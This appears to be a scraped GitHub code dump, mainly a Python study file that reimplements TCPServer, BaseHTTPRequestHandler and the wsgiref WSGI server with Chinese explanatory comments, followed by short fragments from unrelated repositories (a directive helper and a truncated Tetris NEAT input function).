self.allow_reuse_address:\n self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.socket.bind(self.server_address)\n self.server_address = self.socket.getsockname() # Return the socket’s own address.\n\n def server_activate(self):\n self.socket.listen(self.request_queue_size)\n\n def server_close(self):\n self.socket.close()\n\n def fileno(self): # file of descriptor\n \"\"\"返回socket 文件描述符\"\"\"\n return self.socket.fileno() # 注意 selector 的 register 的方法需要传入 file descriptor 或者有 fileno() 方法\n\n def get_request(self):\n # 建议先了解 下 python socket 编程的知识\n # The return value is a pair (conn, address) where conn is a new socket\n # object usable to send and receive data on the connection, and address is\n # the address bound to the socket on the other end of the connection.\n return self.socket.accept() # return (new_request_socket, addr)\n\n def shutdown_request(self, request):\n \"\"\" 关闭单个 request \"\"\"\n try:\n request.shutdown(socket.SHUT_WR) # 显示关闭\n except IOError:\n pass\n self.close_request(request)\n\n def close_request(self, request):\n request.close()\n\n\n\"\"\"\n以上我们就编写完成了 TCPServer,其实就是在继承了 BaseServer 的基础上加上了对 socket 操作的一些封装。\n接下来让我们利用 threading 模块来编写一个 ThreadingMixIn ,通过让 TCPServer 继承它来支持多线程\n\"\"\"\n\n\nclass ThreadingMixIn:\n \"\"\"mixin class 对每个请求开一个新的 线程来处理\"\"\"\n\n daemon_threads = False\n\n def process_request_thread(self, request, client_address):\n try:\n self.finish_request(request, client_address)\n except Exception:\n self.handle_error(request, client_address)\n finally:\n self.shutdown_request(request)\n\n def process_request(self, request, client_address):\n t = threading.Thread(target=self.process_request_thread, args=(request, client_address))\n t.daemon = self.daemon_threads\n t.start()\n\n\nclass ThreadingTCPServer(ThreadingMixIn, TCPServer):\n \"\"\"多继承就能简单实现一个 多线程的 tcp socket 啦\"\"\"\n pass\n\n\n\"\"\"\n接下开始编写 RequestHandler,之前编写的 TCPServer 负责处理 socket 的连接和关闭\n但是对于 socket 建立连接后如何处理我们还需要一个 RequestHandler 来完成\n接下来就开始写 RequestHandler 基类\n\"\"\"\n\n\nclass BaseRequestHandler:\n\n def __init__(self, request, client_address, server):\n \"\"\"\n\n :param request: 对于 TCPServer request 其实是个 accept() 第一个返回值,新的 socket 对象\n :param client_address:\n :param server:\n \"\"\"\n self.request = request\n self.client_address = client_address\n self.server = server\n self.setup()\n try:\n self.handle()\n except BaseException:\n self.finish()\n\n def setup(self):\n pass\n\n def handle(self):\n pass\n\n def finish(self):\n pass\n\n\n\"\"\"\n接下来我们编写 StreamRequestHandler 用来对 socket 进行流式处理,优化 IO\n\"\"\"\n\n\nclass StreamRequestHandler(BaseRequestHandler):\n rbufsize = -1\n wbufsize = 0\n\n timeout = None\n disable_nagle_algorithm = False # 是否禁用 nagle 算法\n\n def setup(self):\n self.connection = self.request\n if self.timeout is not None:\n self.connection.settimeout(self.timeout)\n if self.disable_nagle_algorithm:\n self.connection.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, True)\n # Return a file object associated with the socket. The exact returned type\n # depends on the arguments given to makefile(). These arguments are\n # interpreted the same way as by the built-in open() function, except the\n # only supported mode values are 'r' (default), 'w' and 'b'.\n self.rfile = self.connection.makefile('rb', self.rbufsize)\n self.wfile = self.connection.makefile('wb', self.wbufsize)\n\n def finish(self):\n if not self.wfile.closed:\n try:\n self.wfile.flush()\n except socket.error:\n pass\n self.wfile.close()\n self.rfile.close()\n\n\n\"\"\"\n然后开始实现 http server,在之前的 TCPServer 的基础上\n\"\"\"\n\n\nclass HTTPServer(TCPServer):\n allow_reuse_address = True\n\n def server_bind(self):\n super().server_bind()\n host, port = self.socket.getsockname()[:2]\n self.server_name = socket.getfqdn(host)\n self.server_port = port\n\n\n\"\"\"\n然后是编写 BaseHttpRequestHandler,这里你要了解 http 协议的知识\n\"\"\"\nimport email\nimport html\nimport sys\nimport http.client\nfrom http import HTTPStatus\n\n\n\nclass BaseHTTPRequestHandler(StreamRequestHandler):\n \"\"\"\n http(超文本传输协议,HyperText Transfer Protocol) 协议构建在 tcp/ip 基础上,\n\n\n 1. One line identifying the request type and path\n 2. An optional set of RFC-822-style headers\n 3. An optional data part\n\n 我建议你使用 curl 配合 -v 参数观察一下 http 请求的过程,比如:\n curl -v http://www.baidu.com > output.txt 2>&1\n 你就能看到请求头了。注意这里(2>&1) 我重定向了错误输出,具体原因在以下连接:\n (https://unix.stackexchange.com/questions/259367/copy-output-of-curl-to-file\n curl prints its status to stderr rather than stdout. To capture stderr in the same file, you need to redirect stderr to stdout by adding 2>&1 AFTER your stdout redirection:\n )\n 得到的结果如下:\n\n * Rebuilt URL to: http://baidu.com/\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\n 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 123.125.115.110...\n * TCP_NODELAY set\n * Connected to baidu.com (123.125.115.110) port 80 (#0)\n > GET / HTTP/1.1\n > Host: baidu.com\n > User-Agent: curl/7.54.0\n > Accept: */*\n >\n < HTTP/1.1 200 OK\n < Date: Sun, 08 Jul 2018 09:56:18 GMT\n < Server: Apache\n < Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT\n < ETag: \"51-47cf7e6ee8400\"\n < Accept-Ranges: bytes\n < Content-Length: 81\n < Cache-Control: max-age=86400\n < Expires: Mon, 09 Jul 2018 09:56:18 GMT\n < Connection: Keep-Alive\n < Content-Type: text/html\n <\n { [81 bytes data]\n\n 100 81 100 81 0 0 1677 0 --:--:-- --:--:-- --:--:-- 1687\n * Connection #0 to host baidu.com left intact\n \n \n \n\n 编写这个类比较麻烦的就是解析 http 协议的函数,这里我们直接拷贝下原来的代码\n \"\"\"\n sys_version = \"Python/\" + sys.version.split()[0]\n\n server_version = \"BaseHTTP/\" + \"0.2\"\n\n error_message_format = \"\"\"\\\n \n \n \n \n Error response\n \n \n

    Error response

    \n

    Error code: %(code)d

    \n

    Message: %(message)s.

    \n

    Error code explanation: %(code)s - %(explain)s.

    \n \n \n \"\"\"\n\n error_content_type = \"text/html;charset=utf-8\"\n default_request_version = \"HTTP/0.9\"\n\n def parse_request(self):\n \"\"\" 解析请求,这里就是按照 http 规定的格式解析 http 协议 \"\"\"\n self.command = None\n self.request_version = version = self.default_request_version\n self.close_connection = True\n requestline = str(self.raw_requestline, 'iso-8859-1')\n requestline = requestline.rstrip('\\r\\n') # http 是 '\\r\\n' 分割的\n self.requestline = requestline\n words = self.requestline.split()\n if len(words) == 3:\n command, path, version = words # 看上边 curl -v 得到的请求头格式就能理解了\n try: # 以下都是处理 http 不同吧版本细节的 ,可以先忽略\n if version[:5] != 'HTTP/':\n raise ValueError\n base_version_number = version.split('/', 1)[1]\n version_number = base_version_number.split(\".\")\n # RFC 2145 section 3.1 says there can be only one \".\" and\n # - major and minor numbers MUST be treated as\n # separate integers;\n # - HTTP/2.4 is a lower version than HTTP/2.13, which in\n # turn is lower than HTTP/12.3;\n # - Leading zeros MUST be ignored by recipients.\n if len(version_number) != 2:\n raise ValueError\n version_number = int(version_number[0]), int(version_number[1])\n except (ValueError, IndexError):\n self.send_error( HTTPStatus.BAD_REQUEST, \"Bad request version (%r)\" % version)\n return False\n if version_number >= (1, 1) and self.protocol_version >= \"HTTP/1.1\":\n self.close_connection = False\n if version_number >= (2, 0):\n self.send_error(\n HTTPStatus.HTTP_VERSION_NOT_SUPPORTED,\n \"Invalid HTTP version (%s)\" % base_version_number)\n return False\n elif len(words) == 2:\n command, path = words\n self.close_connection = True\n if command != 'GET':\n self.send_error( HTTPStatus.BAD_REQUEST, \"Bad HTTP/0.9 request type (%r)\" % command)\n return False\n elif not words:\n return False\n else:\n self.send_error(HTTPStatus.BAD_REQUEST, \"Bad request syntax (%r)\" % requestline)\n return False\n self.command, self.path, self.request_version = command, path, version\n\n # Examine the headers and look for a Connection directive.\n try:\n self.headers = http.client.parse_headers(self.rfile,\n _class=self.MessageClass)\n except http.client.LineTooLong as err:\n self.send_error(\n HTTPStatus.REQUEST_HEADER_FIELDS_TOO_LARGE,\n \"Line too long\",\n str(err))\n return False\n except http.client.HTTPException as err:\n self.send_error(\n HTTPStatus.REQUEST_HEADER_FIELDS_TOO_LARGE,\n \"Too many headers\",\n str(err)\n )\n return False\n\n conntype = self.headers.get('Connection', \"\")\n if conntype.lower() == 'close':\n self.close_connection = True\n elif (conntype.lower() == 'keep-alive' and\n self.protocol_version >= \"HTTP/1.1\"):\n self.close_connection = False\n # Examine the headers and look for an Expect directive\n expect = self.headers.get('Expect', \"\")\n if (expect.lower() == \"100-continue\" and\n self.protocol_version >= \"HTTP/1.1\" and\n self.request_version >= \"HTTP/1.1\"):\n if not self.handle_expect_100():\n return False\n return True\n\n def handle_expect_100(self):\n \"\"\"Decide what to do with an \"Expect: 100-continue\" header.\n\n If the client is expecting a 100 Continue response, we must\n respond with either a 100 Continue or a final response before\n waiting for the request body. The default is to always respond\n with a 100 Continue. You can behave differently (for example,\n reject unauthorized requests) by overriding this method.\n\n This method should either return True (possibly after sending\n a 100 Continue response) or send an error response and return\n False.\n\n \"\"\"\n self.send_response_only(HTTPStatus.CONTINUE)\n self.end_headers()\n return True\n\n def handle_one_request(self):\n \"\"\" 刚才处理完并且验证了请求头后,处理单个 http 请求\"\"\"\n try:\n self.raw_requestline = self.rfile.readline(65537)\n if len(self.raw_requestline) > 65536:\n self.requestline = ''\n self.request_version = ''\n self.command = ''\n self.send_error(HTTPStatus.REQUEST_URI_TOO_LONG)\n return\n if not self.raw_requestline:\n self.close_connection = True\n return\n if not self.parse_request():\n return\n mname = 'do_' + self.command # 后续实现 do_GET 等方法\n if not hasattr(self, mname):\n self.send_error( HTTPStatus.NOT_IMPLEMENTED, \"Unsupported method (%r)\" % self.command)\n return\n method = getattr(self, mname)\n method()\n self.wfile.flush() # 发送响应体\n except socket.timeout as e:\n self.low_error(\"Request timeout :%r\", e)\n self.close_connection = True\n return\n\n def handle(self):\n self.close_connection = True\n self.handle_one_request()\n while not self.close_connection:\n self.handle_one_request()\n\n def send_error(self, code, message=None, explain=None):\n \"\"\"Send and log an error reply.\n\n Arguments are\n * code: an HTTP error code\n 3 digits\n * message: a simple optional 1 line reason phrase.\n *( HTAB / SP / VCHAR / %x80-FF )\n defaults to short entry matching the response code\n * explain: a detailed message defaults to the long entry\n matching the response code.\n\n This sends an error response (so it must be called before any\n output has been generated), logs the error, and finally sends\n a piece of HTML explaining the error to the user.\n\n \"\"\"\n\n try:\n shortmsg, longmsg = self.responses[code]\n except KeyError:\n shortmsg, longmsg = '???', '???'\n if message is None:\n message = shortmsg\n if explain is None:\n explain = longmsg\n self.log_error(\"code %d, message %s\", code, message)\n self.send_response(code, message)\n self.send_header('Connection', 'close')\n\n # Message body is omitted for cases described in:\n # - RFC7230: 3.3. 1xx, 204(No Content), 304(Not Modified)\n # - RFC7231: 6.3.6. 205(Reset Content)\n body = None\n if (code >= 200 and\n code not in (HTTPStatus.NO_CONTENT,\n HTTPStatus.RESET_CONTENT,\n HTTPStatus.NOT_MODIFIED)):\n # HTML encode to prevent Cross Site Scripting attacks\n # (see bug #1100201)\n content = (self.error_message_format % {\n 'code': code,\n 'message': html.escape(message, quote=False),\n 'explain': html.escape(explain, quote=False)\n })\n body = content.encode('UTF-8', 'replace')\n self.send_header(\"Content-Type\", self.error_content_type)\n self.send_header('Content-Length', int(len(body)))\n self.end_headers()\n\n if self.command != 'HEAD' and body:\n self.wfile.write(body)\n\n def send_response(self, code, message=None):\n self.log_request(code)\n self.send_response_only(code, message)\n self.send_header('Server', self.version_string())\n self.send_header('Date', self.date_time_string())\n\n def send_response_only(self, code, message=None):\n \"\"\"Send the response header only.\"\"\"\n if self.request_version != 'HTTP/0.9':\n if message is None:\n if code in self.responses:\n message = self.responses[code][0]\n else:\n message = ''\n if not hasattr(self, '_headers_buffer'):\n self._headers_buffer = []\n self._headers_buffer.append((\"%s %d %s\\r\\n\" %\n (self.protocol_version, code, message)).encode(\n 'latin-1', 'strict'))\n\n def send_header(self, keyword, value):\n \"\"\"Send a MIME header to the headers buffer.\"\"\"\n if self.request_version != 'HTTP/0.9':\n if not hasattr(self, '_headers_buffer'):\n self._headers_buffer = [] # 这里把所有的请求头放到一个 list buffer 里,统一发送\n self._headers_buffer.append(\n (\"%s: %s\\r\\n\" % (keyword, value)).encode('latin-1', 'strict'))\n\n if keyword.lower() == 'connection':\n if value.lower() == 'close':\n self.close_connection = True\n elif value.lower() == 'keep-alive':\n self.close_connection = False\n\n def end_headers(self):\n \"\"\"Send the blank line ending the MIME headers.\"\"\"\n if self.request_version != 'HTTP/0.9':\n self._headers_buffer.append(b\"\\r\\n\")\n self.flush_headers()\n\n def flush_headers(self):\n if hasattr(self, '_headers_buffer'):\n self.wfile.write(b\"\".join(self._headers_buffer)) # 发送所有 header buffer 里的数据\n self._headers_buffer = []\n\n def log_request(self, code='-', size='-'):\n \"\"\"Log an accepted request.\n\n This is called by send_response().\n\n \"\"\"\n if isinstance(code, HTTPStatus):\n code = code.value\n self.log_message('\"%s\" %s %s',\n self.requestline, str(code), str(size))\n\n def log_error(self, format, *args):\n \"\"\"Log an error.\n\n This is called when a request cannot be fulfilled. By\n default it passes the message on to log_message().\n\n Arguments are the same as for log_message().\n\n XXX This should go to the separate error log.\n\n \"\"\"\n\n self.log_message(format, *args)\n\n def log_message(self, format, *args):\n \"\"\"Log an arbitrary message.\n\n This is used by all other logging functions. Override\n it if you have specific logging wishes.\n\n The first argument, FORMAT, is a format string for the\n message to be logged. If the format string contains\n any % escapes requiring parameters, they should be\n specified as subsequent arguments (it's just like\n printf!).\n\n The client ip and current date/time are prefixed to\n every message.\n\n \"\"\"\n\n sys.stderr.write(\"%s - - [%s] %s\\n\" %\n (self.address_string(),\n self.log_date_time_string(),\n format%args))\n\n def version_string(self):\n \"\"\"Return the server software version string.\"\"\"\n return self.server_version + ' ' + self.sys_version\n\n def date_time_string(self, timestamp=None):\n \"\"\"Return the current date and time formatted for a message header.\"\"\"\n if timestamp is None:\n timestamp = time.time()\n return email.utils.formatdate(timestamp, usegmt=True)\n\n def log_date_time_string(self):\n \"\"\"Return the current time formatted for logging.\"\"\"\n now = time.time()\n year, month, day, hh, mm, ss, x, y, z = time.localtime(now)\n s = \"%02d/%3s/%04d %02d:%02d:%02d\" % ( day, self.monthname[month], year, hh, mm, ss)\n return s\n\n weekdayname = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']\n\n monthname = [None,\n 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',\n 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']\n\n def address_string(self):\n \"\"\"Return the client address.\"\"\"\n\n return self.client_address[0]\n\n # Essentially static class variables\n\n # The version of the HTTP protocol we support.\n # Set this to HTTP/1.1 to enable automatic keepalive\n protocol_version = \"HTTP/1.0\"\n\n # MessageClass used to parse headers\n MessageClass = http.client.HTTPMessage\n\n # hack to maintain backwards compatibility\n responses = {\n v: (v.phrase, v.description)\n for v in HTTPStatus.__members__.values()\n }\n\n\n\"\"\"\n上边实现了 BaseHttpRequestHandler, 代码基本是拷贝的,不过理解起来不算吃力,主要逻辑在\nhandle_one_request 方法上,注意里边调用了 mname = 'do_' + self.command 来实现请求。\n\"\"\"\n\n\"\"\"\n接下来是管理 wsgi application 调用的 Handler,它需要封装环境变量的一些信息,传给 wsgi application\n\"\"\"\nfrom wsgiref.handlers import read_environ,format_date_time # 这个函数用来消除平台差异\nfrom wsgiref.headers import Headers\nfrom wsgiref.util import FileWrapper, guess_scheme, is_hop_by_hop\n\n\nclass BaseHandler:\n wsgi_version = (1,0)\n wsgi_multithread = True\n wsgi_multiprocess = True\n wsgi_run_once = False\n\n origin_server = True # We are transmitting direct to client\n http_version = \"1.0\" # Version that should be used for response\n server_software = None # String name of server software, if any\n\n # os_environ is used to supply configuration from the OS environment:\n # by default it's a copy of 'os.environ' as of import time, but you can\n # override this in e.g. your __init__ method.\n os_environ= read_environ()\n\n # Collaborator classes\n wsgi_file_wrapper = FileWrapper # set to None to disable,文件对象转成可迭代的\n headers_class = Headers # must be a Headers-like class\n\n # Error handling (also per-subclass or per-instance)\n traceback_limit = None # Print entire traceback to self.get_stderr()\n error_status = \"500 Internal Server Error\"\n error_headers = [('Content-Type','text/plain')]\n error_body = b\"A server error occurred. Please contact the administrator.\"\n\n # State variables (don't mess with these)\n status = result = None\n headers_sent = False\n headers = None\n bytes_sent = 0\n\n def run(self, application):\n # application 是符合 wsgi 规范的应用\n try:\n self.setup_environ()\n self.result = application(self.environ, self.start_response)\n self.finish_response()\n except:\n try:\n self.handle_error()\n except:\n # If we get an error handling an error, just give up already!\n self.close()\n raise # ...and let the actual server figure it out.\n\n def setup_environ(self):\n \"\"\"用来设置环境变量信息 到 self.environ ,environ 信息被传递到 application\n application 可以从 environ 获取到请求路径,请求头信息等\n \"\"\"\n\n env = self.environ = self.os_environ.copy()\n self.add_cgi_vars()\n\n env['wsgi.input'] = self.get_stdin()\n env['wsgi.errors'] = self.get_stderr()\n env['wsgi.version'] = self.wsgi_version\n env['wsgi.run_once'] = self.wsgi_run_once\n env['wsgi.url_scheme'] = self.get_scheme()\n env['wsgi.multithread'] = self.wsgi_multithread\n env['wsgi.multiprocess'] = self.wsgi_multiprocess\n\n if self.wsgi_file_wrapper is not None:\n env['wsgi.file_wrapper'] = self.wsgi_file_wrapper\n\n if self.origin_server and self.server_software:\n env.setdefault('SERVER_SOFTWARE',self.server_software)\n\n def finish_response(self):\n \"\"\"Send any iterable data, then close self and the iterable\n\n Subclasses intended for use in asynchronous servers will\n want to redefine this method, such that it sets up callbacks\n in the event loop to iterate over the data, and to call\n 'self.close()' once the response is finished.\n \"\"\"\n try:\n if not self.result_is_file() or not self.sendfile():\n for data in self.result:\n self.write(data)\n self.finish_content()\n finally:\n self.close()\n\n def get_scheme(self):\n \"\"\"Return the URL scheme being used\"\"\"\n return guess_scheme(self.environ)\n\n def set_content_length(self):\n \"\"\"Compute Content-Length or switch to chunked encoding if possible\"\"\"\n try:\n blocks = len(self.result)\n except (TypeError,AttributeError,NotImplementedError):\n pass\n else:\n if blocks==1:\n self.headers['Content-Length'] = str(self.bytes_sent)\n return\n # XXX Try for chunked encoding if origin server and client is 1.1\n\n def cleanup_headers(self):\n \"\"\"Make any necessary header changes or defaults\n\n Subclasses can extend this to add other defaults.\n \"\"\"\n if 'Content-Length' not in self.headers:\n self.set_content_length()\n\n def start_response(self, status, headers,exc_info=None):\n \"\"\"'start_response()' callable as specified by PEP 3333\"\"\"\n\n if exc_info:\n try:\n if self.headers_sent:\n # Re-raise original exception if headers sent\n raise exc_info[0](exc_info[1]).with_traceback(exc_info[2])\n finally:\n exc_info = None # avoid dangling circular ref\n elif self.headers is not None:\n raise AssertionError(\"Headers already set!\")\n\n self.status = status\n self.headers = self.headers_class(headers)\n status = self._convert_string_type(status, \"Status\")\n assert len(status)>=4,\"Status must be at least 4 characters\"\n assert int(status[:3]),\"Status message must begin w/3-digit code\"\n assert status[3]==\" \", \"Status message must have a space after code\"\n return self.write\n\n def _convert_string_type(self, value, title):\n \"\"\"Convert/check value type.\"\"\"\n if type(value) is str:\n return value\n raise AssertionError(\n \"{0} must be of type str (got {1})\".format(title, repr(value))\n )\n\n def send_preamble(self):\n \"\"\"Transmit version/status/date/server, via self._write()\"\"\"\n if self.origin_server:\n if self.client_is_modern():\n self._write(('HTTP/%s %s\\r\\n' % (self.http_version,self.status)).encode('iso-8859-1'))\n if 'Date' not in self.headers:\n self._write(\n ('Date: %s\\r\\n' % format_date_time(time.time())).encode('iso-8859-1')\n )\n if self.server_software and 'Server' not in self.headers:\n self._write(('Server: %s\\r\\n' % self.server_software).encode('iso-8859-1'))\n else:\n self._write(('Status: %s\\r\\n' % self.status).encode('iso-8859-1'))\n\n def write(self, data):\n \"\"\"'write()' callable as specified by PEP 3333\"\"\"\n\n assert type(data) is bytes, \\\n \"write() argument must be a bytes instance\"\n\n if not self.status:\n raise AssertionError(\"write() before start_response()\")\n\n elif not self.headers_sent:\n # Before the first output, send the stored headers\n self.bytes_sent = len(data) # make sure we know content-length\n self.send_headers()\n else:\n self.bytes_sent += len(data)\n\n # XXX check Content-Length and truncate if too many bytes written?\n self._write(data)\n self._flush()\n\n def sendfile(self):\n \"\"\"Platform-specific file transmission\n\n Override this method in subclasses to support platform-specific\n file transmission. It is only called if the application's\n return iterable ('self.result') is an instance of\n 'self.wsgi_file_wrapper'.\n\n This method should return a true value if it was able to actually\n transmit the wrapped file-like object using a platform-specific\n approach. It should return a false value if normal iteration\n should be used instead. An exception can be raised to indicate\n that transmission was attempted, but failed.\n\n NOTE: this method should call 'self.send_headers()' if\n 'self.headers_sent' is false and it is going to attempt direct\n transmission of the file.\n \"\"\"\n return False # No platform-specific transmission by default\n\n def finish_content(self):\n \"\"\"Ensure headers and content have both been sent\"\"\"\n if not self.headers_sent:\n # Only zero Content-Length if not set by the application (so\n # that HEAD requests can be satisfied properly, see #3839)\n self.headers.setdefault('Content-Length', \"0\")\n self.send_headers()\n else:\n pass # XXX check if content-length was too short?\n\n def close(self):\n \"\"\"Close the iterable (if needed) and reset all instance vars\n\n Subclasses may want to also drop the client connection.\n \"\"\"\n try:\n if hasattr(self.result,'close'):\n self.result.close()\n finally:\n self.result = self.headers = self.status = self.environ = None\n self.bytes_sent = 0; self.headers_sent = False\n\n def send_headers(self):\n \"\"\"Transmit headers to the client, via self._write()\"\"\"\n self.cleanup_headers()\n self.headers_sent = True\n if not self.origin_server or self.client_is_modern():\n self.send_preamble()\n self._write(bytes(self.headers))\n\n\n def result_is_file(self):\n \"\"\"True if 'self.result' is an instance of 'self.wsgi_file_wrapper'\"\"\"\n wrapper = self.wsgi_file_wrapper\n return wrapper is not None and isinstance(self.result,wrapper)\n\n\n def client_is_modern(self):\n \"\"\"True if client can accept status and headers\"\"\"\n return self.environ['SERVER_PROTOCOL'].upper() != 'HTTP/0.9'\n def log_exception(self,exc_info):\n \"\"\"Log the 'exc_info' tuple in the server log\n\n Subclasses may override to retarget the output or change its format.\n \"\"\"\n try:\n from traceback import print_exception\n stderr = self.get_stderr()\n print_exception(\n exc_info[0], exc_info[1], exc_info[2],\n self.traceback_limit, stderr\n )\n stderr.flush()\n finally:\n exc_info = None\n def handle_error(self):\n \"\"\"Log current error, and send error output to client if possible\"\"\"\n self.log_exception(sys.exc_info())\n if not self.headers_sent:\n self.result = self.error_output(self.environ, self.start_response)\n self.finish_response()\n\n def error_output(self, environ, start_response):\n \"\"\"WSGI mini-app to create error output\n\n By default, this just uses the 'error_status', 'error_headers',\n and 'error_body' attributes to generate an output page. It can\n be overridden in a subclass to dynamically generate diagnostics,\n choose an appropriate message for the user's preferred language, etc.\n\n Note, however, that it's not recommended from a security perspective to\n spit out diagnostics to any old user; ideally, you should have to do\n something special to enable diagnostic output, which is why we don't\n include any here!\n \"\"\"\n start_response(self.error_status,self.error_headers[:],sys.exc_info())\n return [self.error_body]\n\n ########### 下边是抽象方法 \"\"\"\"\"\"\"\"\"\"\"\"\n def _write(self,data):\n \"\"\"Override in subclass to buffer data for send to client\n\n It's okay if this method actually transmits the data; BaseHandler\n just separates write and flush operations for greater efficiency\n when the underlying system actually has such a distinction.\n \"\"\"\n raise NotImplementedError\n\n def _flush(self):\n \"\"\"Override in subclass to force sending of recent '_write()' calls\n\n It's okay if this method is a no-op (i.e., if '_write()' actually\n sends the data.\n \"\"\"\n raise NotImplementedError\n\n def get_stdin(self):\n \"\"\"Override in subclass to return suitable 'wsgi.input'\"\"\"\n raise NotImplementedError\n\n def get_stderr(self):\n \"\"\"Override in subclass to return suitable 'wsgi.errors'\"\"\"\n raise NotImplementedError\n\n def add_cgi_vars(self):\n \"\"\"Override in subclass to insert CGI variables in 'self.environ'\"\"\"\n raise NotImplementedError\n\n\"\"\" 注意上边的 BaseHandler 没有 init 方法,在 SimpleHandler 实现 \"\"\"\n\n\nclass SimpleHandler(BaseHandler):\n \"\"\"Handler that's just initialized with streams, environment, etc.\n\n This handler subclass is intended for synchronous HTTP/1.0 origin servers,\n and handles sending the entire response output, given the correct inputs.\n\n Usage::\n\n handler = SimpleHandler(\n inp,out,err,env, multithread=False, multiprocess=True\n )\n handler.run(app)\"\"\"\n\n def __init__(self,stdin,stdout,stderr,environ,\n multithread=True, multiprocess=False\n ):\n self.stdin = stdin\n self.stdout = stdout\n self.stderr = stderr\n self.base_env = environ\n self.wsgi_multithread = multithread\n self.wsgi_multiprocess = multiprocess\n\n def get_stdin(self):\n return self.stdin\n\n def get_stderr(self):\n return self.stderr\n\n def add_cgi_vars(self):\n self.environ.update(self.base_env)\n\n def _write(self,data):\n self.stdout.write(data)\n\n def _flush(self):\n self.stdout.flush()\n self._flush = self.stdout.flush\n\n\"\"\"\n最后就是 wsgi simpleserver 模块实现的 WSGIServer 和 WSGIRequestHandler 了\n\"\"\"\n\n\n\nimport sys\nimport urllib.parse\nfrom platform import python_implementation\n\n__version__ = \"0.2\"\n\n\nserver_version = \"WSGIServer/\" + __version__\nsys_version = python_implementation() + \"/\" + sys.version.split()[0]\nsoftware_version = server_version + ' ' + sys_version\n\n\nclass ServerHandler(SimpleHandler):\n\n server_software = software_version\n\n def close(self):\n try:\n self.request_handler.log_request(\n self.status.split(' ',1)[0], self.bytes_sent\n )\n finally:\n SimpleHandler.close(self)\n\nclass WSGIServer(HTTPServer):\n\n \"\"\"BaseHTTPServer that implements the Python WSGI protocol\"\"\"\n\n application = None\n\n def server_bind(self):\n \"\"\"Override server_bind to store the server name.\"\"\"\n HTTPServer.server_bind(self)\n self.setup_environ()\n\n def setup_environ(self):\n # Set up base environment\n env = self.base_environ = {}\n env['SERVER_NAME'] = self.server_name\n env['GATEWAY_INTERFACE'] = 'CGI/1.1'\n env['SERVER_PORT'] = str(self.server_port)\n env['REMOTE_HOST']=''\n env['CONTENT_LENGTH']=''\n env['SCRIPT_NAME'] = ''\n\n def get_app(self):\n return self.application\n\n def set_app(self,application):\n self.application = application\n\n\nclass WSGIRequestHandler(BaseHTTPRequestHandler):\n\n server_version = \"WSGIServer/\" + __version__\n\n def get_environ(self):\n \"\"\" 填充server 的 环境变量和其他一些信息\"\"\"\n env = self.server.base_environ.copy()\n env['SERVER_PROTOCOL'] = self.request_version\n env['SERVER_SOFTWARE'] = self.server_version\n env['REQUEST_METHOD'] = self.command\n if '?' in self.path:\n path,query = self.path.split('?',1)\n else:\n path,query = self.path,''\n\n env['PATH_INFO'] = urllib.parse.unquote_to_bytes(path).decode('iso-8859-1')\n env['QUERY_STRING'] = query\n\n host = self.address_string()\n if host != self.client_address[0]:\n env['REMOTE_HOST'] = host\n env['REMOTE_ADDR'] = self.client_address[0]\n\n if self.headers.get('content-type') is None:\n env['CONTENT_TYPE'] = self.headers.get_content_type()\n else:\n env['CONTENT_TYPE'] = self.headers['content-type']\n\n length = self.headers.get('content-length')\n if length:\n env['CONTENT_LENGTH'] = length\n\n for k, v in self.headers.items():\n k=k.replace('-','_').upper(); v=v.strip()\n if k in env:\n continue # skip content length, type,etc.\n if 'HTTP_'+k in env:\n env['HTTP_'+k] += ','+v # comma-separate multiple headers\n else:\n env['HTTP_'+k] = v\n return env\n\n def get_stderr(self):\n return sys.stderr\n\n def handle(self):\n \"\"\"Handle a single HTTP request\"\"\"\n\n self.raw_requestline = self.rfile.readline(65537)\n if len(self.raw_requestline) > 65536:\n self.requestline = ''\n self.request_version = ''\n self.command = ''\n self.send_error(414)\n return\n\n if not self.parse_request(): # An error code has been sent, just exit\n return\n\n handler = ServerHandler(\n self.rfile, self.wfile, self.get_stderr(), self.get_environ()\n )\n handler.request_handler = self # backpointer for logging\n handler.run(self.server.get_app())\n\n\ndef make_server(\n host, port, app, server_class=WSGIServer, handler_class=WSGIRequestHandler\n):\n \"\"\"Create a new WSGI server listening on `host` and `port` for `app`\"\"\"\n server = server_class((host, port), handler_class)\n server.set_app(app)\n return server\n\n\nif __name__ == '__main__':\n # from wsgiref.simple_server import make_server\n httpd = make_server('127.0.0.1', 8889, application)\n httpd.serve_forever()\n","repo_name":"PegasusWang/booknotes","sub_path":"docs/源码阅读_sourcecode/python/wsgiref_read.py","file_name":"wsgiref_read.py","file_ext":"py","file_size_in_byte":47732,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"62"} +{"seq_id":"1338844127","text":"from oldchap.extend import directive, register_directive\n\n@directive('tags')\ndef tags(parts, value):\n value = ','.split(value)\n value = map(str.strip, value)\n value.sort()\n parts['tags'] = value\n\nregister_directive('title', dict.__setitem__) \n","repo_name":"grimborg/oldchap","sub_path":"oldchap/directives.py","file_name":"directives.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37212929012","text":"import tetris\nimport numpy\nimport pickle\nimport neat\n\n\ndef get_input(grid, current_piece, next_piece):\n _input = []\n height = [20] * 10 # maksymalna wyokość kolumny\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if i > height[j]:\n _input.append(1)\n continue\n\n if grid[i][j] == (0, 0, 0,):\n _input.append(0)\n else:\n _input.append(1)\n height[j] = i\n\n for i in range(len(tetris.shapes)):\n if i == tetris.shapes.index(current_piece.shape):\n _input.append(1)\n else:\n _input.append(0)\n\n for i in range(len(tetris.shapes)):\n if i == tetris.shapes.index(next_piece.shape):\n _input.append(1)\n else:\n _input.append(0)\n\n return _input\n\n\ndef get_output(net, grid, current_piece, next_piece):\n _input = get_input(grid, current_piece, next_piece)\n _output = net.activate(_input)\n \"\"\"\n # wersja dla 2 wejść, gdzie pierwsza wartość oznacza kolumnę (0.0-1.0 -> 0-9)\n # druga wartość oznacza rotację (0.0-1.0 -> 